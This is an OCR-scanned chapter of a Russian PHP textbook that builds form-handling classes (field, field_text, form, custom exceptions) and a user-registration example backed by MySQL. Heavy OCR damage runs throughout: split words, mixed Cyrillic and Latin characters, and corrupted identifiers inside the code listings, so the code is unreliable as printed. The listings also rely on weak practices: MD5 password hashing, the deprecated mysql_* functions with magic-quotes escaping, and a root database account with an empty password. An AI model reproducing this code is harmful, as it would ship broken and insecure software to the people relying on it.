требует, чтобы браузер пользователя загруз ил страницу il1dex.pl1p.
гла ва б. ВспомогатеЛЬНblЙ набор кла ссов. Framework - ЗА МЕЧА НИЕ 377 Даже если резул ьтат должен отображаться на стра нице handler.php, сто ит сразу посл е обработки перегрузить страницу при помощи НТТР-заголовка Location: это сбросит POST-Аа ННbIе, и перезагрузка стра ницы не будет приводить к повторному выполнению обработчика. Раз ме ще ние НТМL-формы и обработчика в разных файлах позволяет струк­ тури ровать код, однако это не всегда удобно. Например, есл и пользовател ь забыл ввести данные, то узнает он об это м только на странице обработч ика. В резул ьтате пользователь вынужден воз вращаться обратно и запол нять НТМL-форму заново, что может оказаться очень уто мител ьным, есл и HTML­ фор м а содержит множество обязательных полей. В ыходо м из данной ситуации является расположение обработчика непосред­ ственно в файле НТМL-формы (листинг 6.5). Л истинг 6.5 . Расположен ие НТМL-формы и обработч и ка в одном файле <?php // Обработчик НТМL-формы $error = array() ; if ( ! emptу ($_POST) ) // Если поле first не заполнено , ВЫВОДИМ сообщение // об ошибке if (emp ty ( $_POST ['first ' ])) $error [] = " Текстовое поле не заполнено "; // Если нет ошибок, начинаем обработку данных if (empty ($error) ) // Открыв аем файл text .txt на дозапись $fd = fopen ("text .txt ", "а") ; if ( ! $ fd) exit ("Невозможно открыть файл" ) ; // Записыв аем введенную поль зователем строку // в текстовый файл fwr ite ($fd, "$_POST [first ] \r\n" ) ; // Закрыв аем файл fclose ($fd) ;
378 Часть 1. Общие вопр осы ?> // Перегружаем текущую страницу @header ("Location : $_SERVER [РНР_SELF] ") ; // Останавливаем работу скрипта , чтобы после / 1 пеRенаправления не грузилась НТМL-форма ехН(); II Выводим сообщения об ошибках , если они имеют ся if ( ! empty ($error) ) { foreach ($error as $err) echo "<span style=\"color : red\ ">$err</span><br> "; / 1 НТМL-форма <form rnethod=POST> <input type=text narne= first value="<?= htrnlspecialchars ( $_POST ['first' ], ENT_QUOTES) ; ?>"> <input type=subrnit vаluе= " Отправить "> </forrn> Такой подход позволяет не только вывести сообщения об ошибках непосред­ ственно перед НТМL-формой, но и сохранить все введенные ранее данные . При проверке данных сообщения об ошибках сохраняются в массив $error. Если он оказывается пуст, начинается обработка; если массив содержит со­ общения об ошибках, то происходит повторная загрузка НТМL-формы с вы­ водом списка обнаруженных ошибок в цикле foreach. ЗА МЕЧАНИЕ Конечно, можно поместить данные, введенные пользователем, в сессию и подста влять их в поля НТМL-формы. Однако полученный таким образом код достаточно сложно сопровождать , так как приходится следить за тем , чтобы вовремя очищать сессию от данных, кото рые более не потребуются . Кроме того , суперглобал ьный массив $_SESSION имеет тот же недостато к, что и любые гл обальные переменные - он открыт для редактирования другими частями приложения, поэтому его элементы могут легко перезап и­ сываться или влиять на другие части сайта , приводя к сложноулавливае­ мым ошибкам.
глава 6. Вспомогательный набор классов. Fгamework 379 6.3. Обработка исключител ьных ситуаций ПО мере работы с набором классов неминуемо будут возникать исключител ь­ ные с итуации . Поэтому, прежде чем перейти к разработке набора классов, сле­ дует создать иерархию исключений, обрабатывающих следующие ошибки: О E xcept i onMember - ошибки кл асса, связанные с обращением к несуще­ ствуЮЩим чл енам классов. Как правило, это исключение генерируется в с пециальных методах _get () И _set ( ) ; о E xcepti onObj ect - ошибки кл асса, связанные с испол ьзованием пере­ менных, не являющихся объектам и. Класс НТМL-формы будет высту­ пать в качестве контейнера объектов элементов управления. Дан ный тип исключения будет генерироваться, если вместо такого объекта ошибочно будет передана переменная или объект недопустимого типа; О Except i onMySQL - ошибки класса, связанные с обращением к СУБД MySQL. Данное исключение предназначено для обработки ошибок об­ ращения к базе данных. На рис. 6.7 представлена схема наследования кл ассов ExceptionMember, ExceptionObj ect И Except i onMySQL. Классы наследуют от предопределенно­ го класса Exception, который подробно рассматривается в разделе 1.39. ExceptionMember ExceptionMySQL Рис. 6.7 . Кл ассы исключ ений, используемые в SoftTime Framewoгk в листинге 6.6 представлена реализация класса Except i onMember, который дополняет класс Except ion защищенным членом $key, предназ наченным для хранения имени несуществующего члена. Листинг 6.6 . Исключени е ExceptionМember <?php class Excepti onМember extends Exception
380 ?> // имя несуще ствующе го чл ена protected $key; public funct ion __construct ($key, $message ) $this->key = $key; // Вызываем конструктор базового кла сса parent : : __const ruct ( $message ) ; public function getKey () return $this->key ; Часть 1. Общие вопр ось/ Как видно из листи нга 6.6, в отличие от базового класса Exception, параметр конструктора класса $message, предназначенный для сопроводительного тек­ ста, является обязател ьным. В листинге 6.7 представлена реализация кл асса Except i onObj ect, который предназначец дл я исключител ьных ситуаций, связанных с обращением к не­ существующему объекту . Листинг 6.7 . Исключение Except�onObject <?php class Except ionObj ect extends Except ion // имя объекта protected $key; public function __construct ($key, $message ) $this->key = $key; // Вызываем конструкт ор базового кл асса parent : : __construct ( $message ) ;
Глава 6. Вспомогательный набор кл ассов. Fгamewoгk 381 public function getKey () return $this->key; ?> В л и стинге 6.8 представлена реализация класса Except ionMySQL. В отличие от двух предыдущих классов, конструктор содержит три параметра: r: :J $mysql_error - сообщение об ошибке, воз вращаемое функцией my sql_e rror (); r: :J $sql_query - SQL-запрос, без которого иногда сложно понять причину возникающей ошибки; r: :J $message - пользовател ьский комментарий. Листинг б.8 . Исключение Exceptl.onМySQL <?php clas s Excepti onМySQL extends Exception 11 Сообщение об ошибке protected $mys ql_error ; 11 SQL-запрос protected $sql_que ry ; public function __construct ( $mys ql_error, $sql_query, $message ) $this->mysql_e rror = $mysql_error; $this->sql_query = $sql_query; 11 Вызываем конструктор базового класса parent : : __const ruct ( $message ) ; public funct ion getMySQLError () return $this->my sql_error;
382 Часть 1. Общие в опр ось/ - public function getSQLQue ry () return $this->sql_que ry; ?> 6.4. Базовый класс field Все классы элементов управления будут унаследованы от единого базо вого класса field (рис. 6.8). Так как данный класс является прототипом и его ЭК­ земпляров (объектов) не потребуется, объя вим его абстрактным: field Рис. 6.8. Кл асс field является базовым классом для всей иерархии элементов управления Класс field будет содержать ряд защищенных членов, ини циализируемых через конструктор (табл . 6.2). Та блица 6.2. Чл ены класса fi eld Член класса field О писа ние protected $пате Имя элемента управления (атрибут пате ) protected $type Тип элемента управления (атрибут type) protected $caption Название, которое располагается слева от элемен- та управления protected $value Значение элемента управления (атрибут va lue)
глава 6. ВспомогатеЛЬНblй набор классов. Framework З8З - Таблица 6.2 (окончание) Чле н класса field О писа ние p r otected Принимает значение true, если элемент управле- $ is requi red ния обязател ен к заполнению, и false - В проти в- ном случ ае. П о умолчанию принимает значение false p r otected Строка дополнител ьных параметров; данное поле $ p a rameters является зарезервированным для дальнейших расширений. По умолчанию принимает значение пустой строки p r o tected $help Текст подсказки; по умолчанию принимает значение пустой строки p r otected $help_url Ссылка на подсказку; по умолчанию член принима- ет значение пустой строки pub l ic $css class Кл асс СSS - pub l ic $css_style Стиль CSS Следует обратить внимание на то, что члены $css_c lass И $css_s tyle объ­ явл ены открытыми. Это может быть удобным для быстрой смены оформле­ ния НТМL-форм (коллекций элементо в управления). По мимо конструктора, класс field будет содержать два абстрактных метода: che ck () И get_html (), предназначенные для перегрузки в производных клас­ сах. Метод check () будет проверять корректность введенной информации и возвращать при успешной проверке пустую строку, в противном случае ­ сообщение об ошибке. Метод get_html () будет возвращать массив с назва­ нием элемента управления, подсказок и тега эл емента управления. Испол ьзуя этот массив, кл асс, отображающий НТМL-форму, будет формировать эле­ мент управления. В листинге 6.9 представлена возможная реализация кл асса field. Листинг 6.9 . Реал изация класса f'ield <?php abs tract class field ///////! ///////
384 // Члены класса /////////////// // имя элемента управления protected $паше ; // Тип элемента управления protected $type ; // Название слева от элемента управления protected $caption ; // Значение элемента управления protected $value ; // Обязателен ли элемент к заполнению protected $is_required; // Строка дополнитель ных параметров protected $parameters ; // Подсказка protected $help ; // Ссылка на подсказку protected $help_url ; // Кл асс CSS public $css_c lass; // Стиль CSS public $css_s tyle ; //////////////// // Методы класса //////////////// // Конструктор класса function __const ruct ($name , $type , $capt ion , $is_required $value = "", false, "", $parameters $help = "", $help_url "") Часть 1. Общие вопросы
Глава 6. Вспомога тельный набор классов. Framework $this->name $this->type $this->caption $this->value $this->is_requi red $this->parameters $this->help $this->he lp_url $this->encodestring ($name) ; $type ; $capt ion ; $value ; $is_required; $parameters ; $help; $help_ur l; / / Метод для пров ерки корректности заполнения поля abs tract function check () ; // Абстрактный ме тод, возвращающий название поля // и самого т ега элемента управления (каждый наследник // должен переопределить э т от ме т од) abstract function get_html () ; // Доступ к закрытым и защищенным элементам кл асса // (предназначен толь ко для чтения ) public function __get ($key) if ( isset ( $this->$ke y) ) return $this->$key; else throw new Excepti onМember ( $key, "Член " CLASS . ": : $key не существует"); // функция перевода т екста с русского языка в транслит protected funct ion encode string ($st) / / Сначала заменяем "односимволь ные " фонемы . $st=strtr ($st, "абвгдеезийклмнопрстуфХЪЫЭ_" , "abvgdeeziyklrn n oprstufh' iei ") ; $st=strtr ($st, "АБВГДЕЕЗИЙКПМНОПРСТУФХЪЫЭ_" , "AВVGDEEZIYКLМNOPRSTUFH ' IEI ") ; 385
З86 Ча сть 1. Общие вопрось/ ?> // Затем - "многосимвольные" . $st=strtr ($st, )i array ( "ж"=>"zh" , "ц"=>"ts ", "ч"=>"сh" , "ш"=> "shll , "щ"=>"shсh" , "ь"=>" " , "ю"=> "yu", "я"=>"уа" , "Ж"=> "ZН" , "Ц"=>"ТS" I "Ч"=>"СН" , "Ш"=> "SН" , "Щ"=> "SНСН" , "b"=>,, ,r , "Ю"=> "УU", "Я"=> "УА" , "Y"= >"i", "I"=>"Yi", "e"= >"ie", "Е"=>" Уе " // Возвращаем резуль тат . return $sti - Помимо абстрактных методов и конструктора в класс введен м етод encode string (), который преобразует русский текст в трансл ит. Последнее необходимо для того, чтобы в качестве названия элемента управления слу­ чайно не было использовано русское название. Для доступа к защищенным членам класса перегружается специальный ме­ тод _get ( ), который при попытке обратиться к несуществующему члену класса генерирует исключение типа ExceptionMember. 6.5. Текстовое поле. Кл асс fi e/d_text Текстовое поле предназначено для ввода пользователем строки текста, как правило, не очень большой. Для создания текстового поля необходимо по­ местить в НТМL-форме между тегами <form> И </form> тег следующего вида: <input type=text> Следует отметить, для атрибута type тип эл емента управления text является значением по умолчанию. Поэтому есл и атрибут type отсутствует, а также если ему присвоено неизвестное или ошибочное значение, браузер интерпре­ тирует элемент управления как текстовое поле. Помимо атрибута type тег <input> может содержать дополнител ьные атр и­ буты, представленные в табл . 6.3 .
Глава б. Вспомогательный набор классов. Framework 387 Та блица 6.3 . Атрибуты текстового поля Атрибут О писа ние max l ength Определяет максимально допустимую длину тексто вой строки . При отсутствии атрибута кол ичество символов не ограничено пате Имя элемента управления, предназначенное для идентификации в обработчике. Имя должно быть уникал ьным в пределах формы, то есть отличаться от имен других эл ементов управления, та к как используется в качестве ключа для доступа к значению поля в обработчике siz e Ширина элемента управл ения, определяющая физический раз- мер элемента управления на странице сайта value Начальный текст, содержащийся в поле �я моделирования текстового поля потребуется унаследовать от базового класса field новый кл асс field_t ext (рис. 6.9). Рис. 6 .9 . Наследование производного кл асса field_text от базового кл асса field Как видно из табл . 6 .3, по сравнению с обобщенным эл ементом управления, ко торый моделирует класс field (см. раздел 6. 4), однострочное тексто вое поле имеет два уникальных атрибута: maxlength И size. Последнее означает, что при создании производного класса field_text необходимо будет ввести два новых элемента управления для хранения значений этих атрибутов (лис­ ти нг 6.10). Листинг 6.10. Класс текстового поля f:ield_te xt <?php /////////////////////////////////////////////////////////111 1/ Текстовое поле text 1//111111111/111111//111//1//11111/1111/1111111111111/111111
388 class field text extends field // Размер текстового поля риЬ Н с $size; // Максимальный размер вводимых данных public $maxlength; // Конструктор класса funct ion __cons truct ($name , $capt ion, $is_requi red $value = "", false, $max length = 255, $size = 41, $parameters $help = "", "", $help_url "") // Вызываем конструктор базового класса field / / для инициализации его данных parent : : __cons truct ( $name , "text " , $capt ion , $is_required, $value , $parameters , $help , $help_url ) ; / / Инициализируем члены класса $this->size = $size; $this->maxlength = $max length ; // Метод для возврат а имени поля // и самого т ега элемент а управления function ge t_html () Часть 1. Общие вопр осЬ/ -
гл а ва 6. Вспомогательный набор кл ассов. Framework - / / Если элементы оформления не пусты, учитываем их if (!emp ty ($this->css_s tyle )) $style "style=\ "". $this->css_s tyle ."\""; else $style = ""; if (!emp ty ($this->css_c lass ) ) $class "class=\ "". $this->css_c lass ."\""; else $class ""; // Если определены размеры, учитываем их if ( ! empty ($this->size) ) $size = "size=" . $th is->size ; else $size = ""; if (!empty ($this->max length )) $maxlength "maxlength=" .$this->max length ; else $maxlength // Формируем т ег НН. , $tag = "<input $style $class type=\" ".$this->type ."\" name=\ "" .$t hi s->name. "\" value=\ "" . htmlspecialchars ($this->value , ENT_QUOTE S) ."\" $size $maxlength> \n" ; // Если поле обязательно , отмечаем этот факт if ($this->is_required) $this->caption .= " *"; // Формируем подсказку , если она име ется $help = ""; if( !empty ($this->help ) ) 389
390 ?> Часть 1. Общие вопр ось/ $help "<span style= 'color : blue '>". n12br ($this->help ) . "</span>"; if (!emp ty ( $help) ) $help .= "<br>"; if (!empty ($this->help_url )) $help .= "<span style= 'color : blue ' ><a href=" . $this->help_url . ">помощь</а></sрап>"; return array ($this->caption, $tag, $help) ; // Метод, проверяющий корректность переданных данных function check ( ) // Обезопасить текст перед внесением в базу данных if (!g et_m agic_quotes_gpc () ) $this->value = my sql_escape_s tring ($this->value) ; // Если поле обязательно для заполнения if ( $this->is_requi red) // Проверяем, не пусто ли оно if (empty ($this->value) ) return "Поле \"" . $this->caption ."\" не заполнено "; return "" ., -
гл ава б. Всп о м о гательный набор классо в. Framework 391 - конструктор класса f ield_t ext совпадает по своей структуре с конструкто­ ром баз ового класса field, однако принимает два допол нител ьных необяза­ тельНЫХ параметра $maxlength и $size для максимального количества сим­ волов в строке и размера элемента управления соответственно. Параметр $ma x l e ngth принимает по умолчанию значение 255, а $size - 41. Тол ько последние два члена подвергаются инициализации в конструкто ре класса f i eld_text; все остальные члены инициализируются при помощи вызова конструкто ра базового класса field. Тип элемента управления $type указы­ ваетсЯ жестко при помощи константы "text". Метод check () экран ирует специальные символы во введенной пользовате­ лем строке $value при помощи функции my sql_escape_s tring ( ) . Последнее св яз ано с тем, что все значения из НТМL-форм на протяжении остав шейся части книги будут помещаться в СУБД MySQL. Обработка текстовых строк п р и помощи функции my sql_e s cape_s tring ( ) позволит избежать синтакси­ ческих ошибок при вставке в SQL-запрос, а также пресечет SQL-инъекции (см . раздел 5.4). Метод check () осуществляет также корректность ввода данных. Если поле обязател ьно дл я заполнения, выпол няется проверка, содержит ли член $value какие-либо символы. Если поле пустое, возвращается текстовое сообщение, если заполненное - пустая строка. Генерировать исключения для обработки данной ситуации нецелесообразно, так как отсутствие значения в поле пред­ ставляет собой рядовой случай, а не исключител ьный. Кроме того, HTML­ форма может содержать несколько элементов управления, обязател ьных дл я запол нения, и пользовател ю необходимо сообщить обо всех незаполненных полях. В случае использования исключения можно будет обработать тол ько один элемент управления. ЗА МЕЧАНИЕ Вообще метод check () не совсем корректен с точки зрения методол огии программирования, так как решает, по сути , две задачи: экранирование тексто вых значений перед помещением в СУБД MySQL и проверку кор­ ректности ввода данных. Как в структурном, та к и в объектно­ ориентированном программировании ста раются проектировать функции и методы та ким образом, чтобы они решали тол ько одну задачу. В данном случае правило нарушено сознательно, чтобы инкапсулировать в кл ассе как можно больше рутинных задач . Метод get_html () формирует массив, элементы которого испол ьзуются дл я генерации НТМL-кода элеме�та управления. Первый элемент масс ива со­ держит подпи сь, второй - тег элемента управления, а третий - текст под-
392 Часть 1. Общие в опрось/ - сказ ки ил и ссылку на статью с пояснениями. Возвращать строку, преДстав_ ляющую тол ько элемент управления, нежел ател ьно, так как при ФОРМИРО ва_ нии НТМL-формы может потребоваться расположить фрагменты нестан_ дартным образом. Следует отметить, что значение члена $value при формировании атриБУТа value, во-первых, должно быть заключено в кав ычки, иначе от фраз ы, со­ держащей символы пробела, останется только первое слово, а во-вторых, о н о должно быть обработано при помощи функции htmlspecialchars (). По­ следнее необходимо для предотвращения XSS-атак (см. раздел 5. 5) и иска­ жения НТМL-формы при передаче угловых скобок и НТМL-фрагментов. Для того чтобы продемонстрировать работу класса field_t ext, необходимо создать кл асс НТМL-формы form, который будет выступать в качестве ко н­ те йнера элементов управления. Построению такого класса посвящен сл е­ дующий раздел . 6.6. Класс (гот НТМL-форма может содержать множество эл ементов управления разного типа, поэтому целесообразно включить в состав класса, модел ирующе го форму, массив объектов $fields. Член $fields будет объя вл ен открыты м для удобного доступа к элементам управления. Все НТМL-формы, которые представлены в данной книге, будут содержать одну кнопку типа submi t, отправляющую данные обработчику формы. Для названия кнопки в классе будет предусмотрен защищенный чле н $button_name . Сама форма будет строиться при помощи НТМL-табл ицы, как это описыва­ ется в разделе 6. 2 . Для оформления ячеек таблицы будут использованы дв а члена: $css_td_c lass И $css_td_style, определяющие класс ( class) И стил ь (stYle) каскадных таблиц CSS. Кроме того, два члена $cs s_fld_c lass И $css_f ld_s tyle будут определять класс и стил ь каскадных табл иц CSS дЛЯ элементов управления формы (эти поля являются открыты ми в классах, про­ из водных от field) . Помимо конструктора, предназначенного для инициализации членов метода, класс form будет содержать следующие методы : О print_form () - выводит НТМL-форму в окно браузера; О _t oString () - перегруженный специальный метод, аналогичный по действию методу print_ form ();
гл ава 6. Вспомогательный на бор кла ссов. Framewoгk - 393 CJ che ck () - вызывает методы проверки всех элементов управления и фор мирует массив с сообщениями об ошибках . В л истинге 6.1 1 представлена возм ожная реал изация класса form. Пока класс учитывает особен ности тол ько одного элемента управления field_t ext, одна­ КО П О мере развития иерархии потребуется определенная модификация класса. листинг 6.1 1 . Кnacc НТМL-формы forro <?php / / / ///////////////////////////////////////////////////////// // Кл асс НТМL- формы / /// //////////////////////////////////////////////////////// clas s form // Массив элементов управления риЬ Нс $fields ; // Название кнопки НТМL- формы p rotected $Ьuttоп_пamе ; / / Кл асс css ячейки таблицы p rotected $css_td_class; // Стиль css ячейки таблицы p rotected $css_td_s tyle; // Кл асс css элемента управления p rotected $css_fld_class; // Стиль css элемента управления p rotected $css_fld_style ; // Конструктор кл асса pub lic fuпсtiоп __canstruct ($flds , $Ьuttоп_пamе , $css_td_class $cs s_td_s tyle $css_fld_class $cs s_fld_s tyle "" , "11 , "" , "" ) $this->fields $this->Ьutt оп_пamе $this->css_td_class $flds ; $Ьuttоп_пamе ; $css_td_class;
394 $this->css_fld_class $this->css_fld_s tyle $css_f ld_class ; $сээ_fld_style; Часть /. Общие вопросы // Проверяем, являются ли элементы ма ссива $flds // производными класса field foreach ($flds аэ $key => $obj ) { if (!is_subclass_of ($obj , "field" ) ) throw пеw Excepti onObj ect ($key, "\"$key\ " не является элементом управления ") ; // Вывод НТМL-формы в окно браузера public function print_form () $enctype = ""; if (!emp ty ($this->fields )) { foreach ($this->fields аэ $obj ) // Назначаем всем элементам управления единый стиль if (!emp ty ( $this->css_fld_class) ) if (!empty ($this->css_fld_c lass) ) { $obj ->css_s tyle $this->css fld_style ; 1 / Пр оверяем нет ли среди элементов управления // поля file ; если оно есть - включаем строку // enctype= 'multipart / form-data ' if ($ob j ->type = "file") $enctype = "enctype= 'multipart/form-data' '' ;
Гл ава 6. Вспомогательный набор классов. Framework / / Если элементы оформления не пусты - учитываем их if (!empty ($this- >css_td_s tyle )) ( $style = "style=\ "" . $this->cs s_td_s tyle ."\""; else $style = ""; if(!empty t$ this->cs s_td_class ) ) $class = "class=\ "" .$this->cs s_td_c lass ."\""; else $class = ""; // Выв одим НТМL-форму echo "<form пamе=fоrm $enctype method=po st>" ; echo "<table> "; if (!empty ($this->fields )) foreach ($this->fields as $obj ) 395 // Получаем название поля и его НТМL-представление list ($capt ion, $tag, $help , $alternative ) = $obj ->get_html () ; if ( is_a rray ($tag ) ) $tag = implode ("<br>", $tag ) ; echo "<tr> <td width=lOO $style $class va lign=top>$ capt ion:</td> <td $style $class va lign=top>$tag </td> </tr>\n" ; if ( ! empty ($help) ) ( echo "<tr> <td> &nbsp ;</td> <td $style $class va lign=top> $help< / td> </tr>" ;
396 ?> // Выводим кнопку подтв ерждения echo "<tr> <td $style $clas s></td> <td $style $class> <input class=button Часть 1. Общие вопр осы type=submit va lue=\ "".htrnlspecialchars ($this->button_narne , ENT_QUOTES ) ."\"> </td> </tr>\n" ; echo "</table>"; echo "</form>" ; // Пере грузка специального ме тода __toString () public function __toString () $this->print_form () ; // Метод , проверяющий корректность ввода данных в форму public function check () // Последовательно вызываем ме тод check для каждого // объекта field, принадлежаще го классу $arr = array() ; if (!emp ty ($this->fields )) foreach ($t his->fields аз $obj ) $str = $obj ->check () ; if ( ! empty ($str) ) $arr [] return $arr; $str;
Глава б. Вспомогательный набор классов. Framework 397 Ко нструкто р класса form принимает в качестве первого параметра массив объекто в, кл ассы которых должн ы быть производными классам и field; в противном случае генерируется исключение Except i onObj ect. Такой подход позволяет быть совершенно уверен ным, что любой эл емент массива эл емен­ тов управления содержит реализацию абстрактных методов che ck ( ) и get_html (), необходимых для нормального функционирования кл асса form. Метод check () вызывает одноименные методы элементов управления, фор­ мируя массив сообщений о некорректном заполнении полей. Метод print_form () формирует таблицу с НТМL-формой, получая НТМL-фраг­ менты эл емента управления при помощи метода get_html (). Эл ементы воз­ вращенного массива распределяются по переменным при помощи конструк­ ции list () . ЗАМЕЧАНИЕ Количество элементов в конструкции list () И масси ве могут не совпадать; в листинге 6.1 1 предусмотрена дополнител ьная переменная $alternative, которая может потребоваться в дальнейшем для более сложных эл ементов управления, чей метод get_html () возвращает массив из четырех фрагментов. в настоящий момент все гото во, чтобы присту пить к создан ию ,простейших НТМL-форм с использован ием разработан ных ранее классов. Это му будет посвящен следующий раздел . 6.7 . Пример НТМL-формы Очень важно на самых ранних этапах проектирования систем любой сложно­ сти иметь возможность запустить и проверить работоспособность создавае­ мого кода. Чем раньше появляется возможность отлаживать систему - тем устойчивее и надежнее она окажется в результате. На самом деле классы field, field_text и form создаются одновременно (а не последовател ьно, как это принято описывать в книгах), чтобы исправля·тЬ. взаимные ошибки и опечатки, которые неминуемо возникают в ходе набора кода. Для отладки классов и проверки их работоспособности в момент разработки обычно создается небольшое приложение. В качестве такого приложения выберем регистрацию пользовател ей, от которых потребуется ввод имени и
398 Часть 1. Общие вопросы пароля. Полученные дан ные будут помещаться в таблицу MySQL users, со­ держащую следующие четыре поля : О id_users - первичный ключ табл ицы, значение которого авто матиче ски генерируется при помощи механ изма AUTO_INCREMENT; О пате - имя пользователя; О pas s - парол ь пользовател я, подвергающийся необратимому кодирова- нию по ал горитму МО5; О putdate - время регистрации пользователя. Оператор CREATE TAВLE, создающий таблицу users, представлен в листи н­ ге 6. 12. Листинг 6.1 2. Табл ица users CREATE TAВLE users ( id_user INT (ll) NOT NULL AUTO_INCREМENT , пате TINYTEXT NOT NULL , pass TINYTEXT NOT NULL, putdate DATE TlМE NOT NULL , PRIМARY КЕУ (id_us er) Для доступа к СУБД MySQL создадим ко нфигурационный файл c0l1fig.pI1p, который в случае возникновения проблем с соединением или выбором теку­ щей базы данных будет генерировать исключение ExceptionМySQL (лис­ тинг 6. 1 3). Вместо SQL-запроса в качестве второго параметра конструктору исключения передается значение " connection " , сообщающее, что исключи­ тел ьная ситуация произошла во время установки соединения с сервером MySQL. Листинг 6.1 3 . Создание соединения с СУБД MySQL <?php // Адерс сервера MySQL $dblocation = "localho st" ; // имя базы данных на хостинге или локаль ной маmине $оопате = "оор" ; // имя поль зователя базы данных $dbus er = "root";
Гл ава б. Вспомогательный набор классов. Framework ?> 11 и его пароль $dbpasswd = ""; 11 Устанавливаем соединение с базой данных $dbcnx = @mysql_connect ( $dblocat ion, $dbus er, $dbpasswd} ; if (!$dbcnx ) } throw new Excepti onМySQL (mysql_e rror () , "connection" , "Невозможно установить соединение с MySQL-сервером" }; 11 Выбираем базу данных if (! @mysql_select_db ($dbname , $dbcnx ) } throw new Excepti onМySQL (mysql_error (} , "connection" , "Ошибка выбора базы данных" } ; 11 Устанавливаем кодировку , 11 в которой данные будут отправляться MySQL-серверу @mysql_que ry ( "SET NAМES 'cp1251 '''} ; 399 Пока досryпно лишь тексто вое поле text, поэтому при создан ии HTM L­ формы создадим два обязател ьных дл я заполнения элемента управления : О $паmе - имя пользователя; о $pass - пароль пользователя. В дальнейшем, когда будет разработан класс для поля типа password, можно бу­ дет использовать специализированный элемент управления для ввода пароля. В листинге 6. 14 представлена возможная реализация НТМL-формы дл я реги­ страции нового пользователя . ЗА МЕЧА НИЕ Для оформления страницы в приложении испол ьзуются файлы utils/top.php и util s/bottom.php. Найти их можно на ко мпакт-диске, поставляемом вместе с книгой. Более подробно эти файлы описываются в гл аве 8.
400 Листинг 6.14. Регистра ция нового пользов ателя <?php requi re_once ("class/class . field . php " ); // Подключаем кл асс текстового поля require_on ce ("class/class . field . text . php " ); // Подключаем класс формы requi re_once ("c lass/class . forms .php " ) ; // Исключения requi re_once ("c lass/exception .obj ect .php") ; require_on ce ("c lass/exception . member.php " ); require_once ("c lass/except ion .mysql .php" ) ; ////////////////////////////////////////// // 1. Формирование НТМL-формы ////////////////////////////////////////// try $naтe = new field_text ("naтe", "Имя" , true , $_POST [ 'пате'] ) ; $pass = new field_t ext ("pass", "Пароль ", true , $_POST ['pas s']); $form = new form(array("naтe " => $naтe, "pass" = > $pass ), "Добавить " , "field" ); ////////////////////////////////////////// // 2. Обработчик НТМL-формы ////////////////////////1 ////111/ 11///1111 if( !empty($_POST) ) Часть 1. Общие в опросы
Глава 6. Вспомогательный набор классов. Framework 11 Устанавливаем соединение с базой данных require_once ("c onfig . php " ); 11 Пр оверяем корректность заполнения НТМL-формы 11 и обрабатываем текстовые поля $error = $form->check () ; if (emp ty ($error) ) 11 Записываем полученные резуль таты в таблицу $query = "INSERT INTO users VALUES (NULL , '{$form->fields [name ] ->value }', MD5('{$form->fiеlds [раss ] ->vаluе} ') , NOW() ) "; Н( !mysql_que ry ($query ) ) throw new ExceptionМySQL (mysql_error () , $que ry, "Ошибка регистрации поль зователя" ) ; 11 Перегружаем страницу для сброса РОSТ-данных header ("Location : $_SERVER [PHP_SELF] ") ; exit () ; 111111111111111111111111111111111111111111 11 з . Видима я часть страницы 111111111111111111111111(11111111111111111 11 Включаем заголовок страницы require_once ("ut ils/top.php") ; 11 Выводим сообщения об ошибках , если они имеют ся if ( ! empty ($error) ) 401
402 Часть 1. Общие вопросы foreach ($error as $err) echo "<span style=\"color :red\ ">$err</ span><br> "; } // Выводим НТМL-форму $form->print_form () ; catch ( Excepti onObj ect $ехс ) // Перехватываем исключение , если произ водится // попытка передать классу form некорректный // элемент управления // Включаем заголовок страницы require_once ("utils/top .php ") ; echo "<р сlаss=hеlр>Произошла исключительная ситуация (Excepti onObj ect ) - попытка исполь зования в качестве элемента управления объекта, класс которого не являе тся производным от базового кл асса field . { $exc->gеtМеssаgе () }.</р>"; echo "<р сlаss=hеlР>ОlШ1бка в файле {$exc->gеtFilе () } в строке { $exc->gеtLiпе () } .</ р> "; // Включаем завершение страницы require_once ("utils /bottom.php" ) ; exit () ; саtСh ( Ехсерt i оnМешЬеr $ехс ) // Перехватываем исключение , если выполняется // обращение к несуществующему элементу управления
Глава б. Вспомогательный набор классов. Framework ?> // Включаем заголовок страницы require_once ("utils/top . php " ); echo "<р сlаss=hеlр>Прои;юшла исключительная ситуация (Except i onМembe r) - попытка обращения к несуществующему члену класса . { $exc->gеtМеssаgе () } . </р>"; echo "<р сlаss=hеlР>ОIlJИбка в файле { $exc->gеtFilе () } в строке { $exc->gеtLiпе () }.</р>"; // Включаем завершение страницы requi re_once ("utilS/bottom. php ") ; exit () ; catch ( Excepti onМySQL $ехс ) // Обрабатыв аем исключения, возникающие // при обращении к СУБД MySQL // Включаем заголовок страницы requi re_once ("ut ils/top .php"J ; echo "<р сlаss=hеlр>Произошла исключительная ситуация (ExceptionМySQL ) при обращени и к СУБД MySQL .</p>"; echo "<р class=help> {$exc->gеtмуSQLЕrrоr () }<br> " .n12br ($exc->gеtSQLQuеrу () ) . "</р>"; echo "<р сlаss=hеlР>ОIlJИбка в файле {$exc->gеtFilе () } в строке { $exc->gеtLiпе () }.</р>"; // Включаем завершение страницы require_once ( "utils /bottom . php " ) ; exit () ; // Включаем завершение страницы requi re_once ("utilS/bottom. php") ; 403
404 Часть 1. Общие вопросы Как видно из листинга 6. 14, приложение для регистрации пользовател ей ус ­ ловно можно разбить на тр и части : 1. Форм ирование НТМL-формы. 2. Обработчик НТМL-формы. 3. Видимая часть страницы. В первой части, посвященной формированию НТМL-формы, создаются д ва тексто вых поля $nаmе И $pass для ввода имени пользовател я и его парол я соответственно. Оба элемента передаются объекту $form В качестве элеме н ­ то в массива. Попе "Пар оnь' не zаrЮi1н еИQ ИМЯ ": Пароль ": Добавить Рис. 6 .10. Если одно из обязател ьных полей не заполнено, ранее введенные данные сохраняются Для того чтобы сообщить классу field_text, что элементы обязател ьны дл я заполнения, третьему параметру присваивается значение true . Четвертому параметру присваи вается значение элемента управления из суперглобального массива $_ POST. ЭТО позволяет сохран ить ранее введенные пол ьзовател ем дан ные, если обработчик нашел ошибки ввода. Дел о в том, что за время ра-
